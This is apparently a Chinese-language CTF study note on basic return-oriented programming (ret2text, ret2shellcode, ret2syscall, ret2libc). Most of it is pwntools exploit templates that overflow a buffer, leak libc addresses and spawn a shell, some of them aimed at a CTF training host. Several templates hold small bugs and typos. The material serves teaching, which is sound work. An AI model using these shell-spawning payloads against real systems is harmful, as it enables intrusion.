基本 ROP
ROP (Return Oriented Programming),主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
ROP 攻击一般需要满足如下条件
1.程序存在溢出,并且可以控制返回地址。
2.可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
ret2text
原理:控制程序执行程序本身已有的的代码
需求:程序存在可以直接控制shell的代码,比如 system(“/bin/sh”) 或者 system(“sh”)
模板如下
from pwn import *
io = process('./文件名')
shell.addr = //shell.addr即为system('/bin/sh') 或者 system('sh')的地址
payload = flat([cyclic(offset),shell.addr])
io.sendline(payload)
io.interactive()
ret2shellcode
原理:控制程序执行 shellcode 代码,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要 是获取目标系统的 shell。
需求:
1.需要对应的 binary 在运行时,需要找到一个可读可写可执行的区域写入并执行shellcode,这个 地方通常在bss段,可以使用gdb动态调试,使用vammp查看执行权限及所处位置
2.checksec时 NX disabled
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
shellcode格式:
- 64位文件 shellcode = asm(shellcraft.amd64.sh())
- 32位文件 shellcode = asm(shellcraft.sh())
模板如下
from pwn import *
io = process('./文件名')
shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.sh())
bss_addr =
payload = flat([shellcode,cyclic(offset),bss_addr])
#payload = shellcode.ljust(112, 'A') + p32(buf2_addr)
io.sendline(payload)
io.interactive()
ret2syscall
原理:控制程序执行系统调用,获取 shell
需求:<32位程序>
1.系统调用号,即 eax 应该为 0xb
2.第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
3.第二个参数,即 ecx 应该为 0
4.第三个参数,即 edx 应该为 0
5./bin/sh或者sh字符串的地址
6.函数调用号int 0x80 的地址
构建方法:
<1>寄存器地址
- ROPgadget –binary 文件名 –only ‘pop|ret’ | grep ‘寄存器名’
<2>/bin/sh字符串地址
- ida中使用shift+f12,再用crtl+f查找字符串
2. ROPgadget –binary 文件名 –string ‘/bin/sh’
3. 加载本地elf文件之后 binsh =next(elf.search(b’/binsh’))
<3>int0x80 函数号地址
- ROPgadget –binary 文件名 –only ‘int’
<4>payload的构建
* payload = flat([cyclic(offset),寄存器pop|ret地址,寄存器内容,连续3个寄存器pop|ret地址,寄存器1内容,寄存器2内容,寄存器3内容,函数号地址])
from pwn import *
sh = process('./文件名')
pop_eax_ret =
pop_edx_ecx_ebx_ret =
int_0x80_addr =
binsh_addr =
offset =
payload = flat([cyclic(offset), pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh_addr, int_0x80_addr])
io.sendline(payload)
io.interactive()
ret2libc
原理:控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
构建方法:
1.是否有system函数
if(1)
直接用ida查看sys函数的位置,记下即可,当然动态调试gdb也是可以的
if(0)
\1. 想办法泄露system的地址,一般选择在溢出点之前使用过的puts,read,write等函数
puts函数
64 payload =flat([cyclic(offset),rdi_addr,puts_got,puts_plt,main])
32 payload = flat([cyclic(offset),puts_plt,main,puts_got])
write函数
64 payload = flat([cyclic(offset),
32 payload=flat([cyclic(offset),write_pltmain,write_fd,write_got,write_length])
printf函数
64 payload=flat([cyclic(offset),rdi_addr,format_str,rsi_r15_addr,printf_got,0,printf_plt,main]) //format_str 为指定printf函数输出的格式
32 payload = flat([cyclic(offset),printf_plt,main,format_str,printf_got])
接受泄露地址
64 u64(io.recvline()[:-1].ljust(8, '\0'))
32 u32(io.recv()[0:4])
2.根据泄露的地址确定基地址,由libc的加载的版本号确定
libc = ELF (“./libc版本号”) //确定libc的版本
libc_base = leak_addr - libc.sym[‘leak_func’] //确定libc的基地址
sys_addr = libc_base + libc.sym[‘system’] //通过偏移量找到system函数
bin_sh_addr = libc_base + libc.search(‘/bin/sh’).next() //在libc中找到/bin/sh字符串
3.是否有/bin/sh字符串或者sh字符串
if(1)
直接用ida查看/bin/sh或者sh字符串的地址,当然动态调试gdb也是可以的
if(0)
想办法构造一个字符串
\1. binsh = libc.search(‘/bin/sh’).next() //这种方法是通过加载libc
\2. binsh =next(elf.search(b’/binsh’)) //这种方法是通过加载elf文件
64位 exp模板
from pwn import*
contcontent = 0
context(os='linux', arch='amd64', log_level='debug')
io = remote('node3.buuoj.cn',)
#io = process('./')
elf = ELF('./')
libc = ELF('./libc-.so')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr =
offset =
payload1 = flat([cyclic(offset),rdi_addr,puts_got,puts_plt,main])
io.sendline(payload1)
puts_leak = u64(io.recvline()[:-1].ljust(8, '\0'))
libc_base = puts_leak - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload2 = flat([cyclic(offset),rdi_addr,bin_sh_addr,sys_addr])
io.sendline(payload2)
io.interactive()
32位 exp模板
from pwn import*
content = 0
context(os='linux',log_level='debug')
io = remote('node3.buuoj.cn',)
#io = process('./')
elf = ELF(''./)
libc = ELF('./libc-.so')
main = elf.sym['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
format_str =
offset =
payload1 = flat([cyclic(offset),printf_plt,vuln,format_str,printf_got])
io.sendline(payload1)
printf_leak = u32(io.recv(4))
libc_base = printf_leak - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload2 = flat([cyclic(offset),sys_addr,0xdeadbeef,bin_sh_addr])
io.sendline(payload2)
io.interactive()
EOF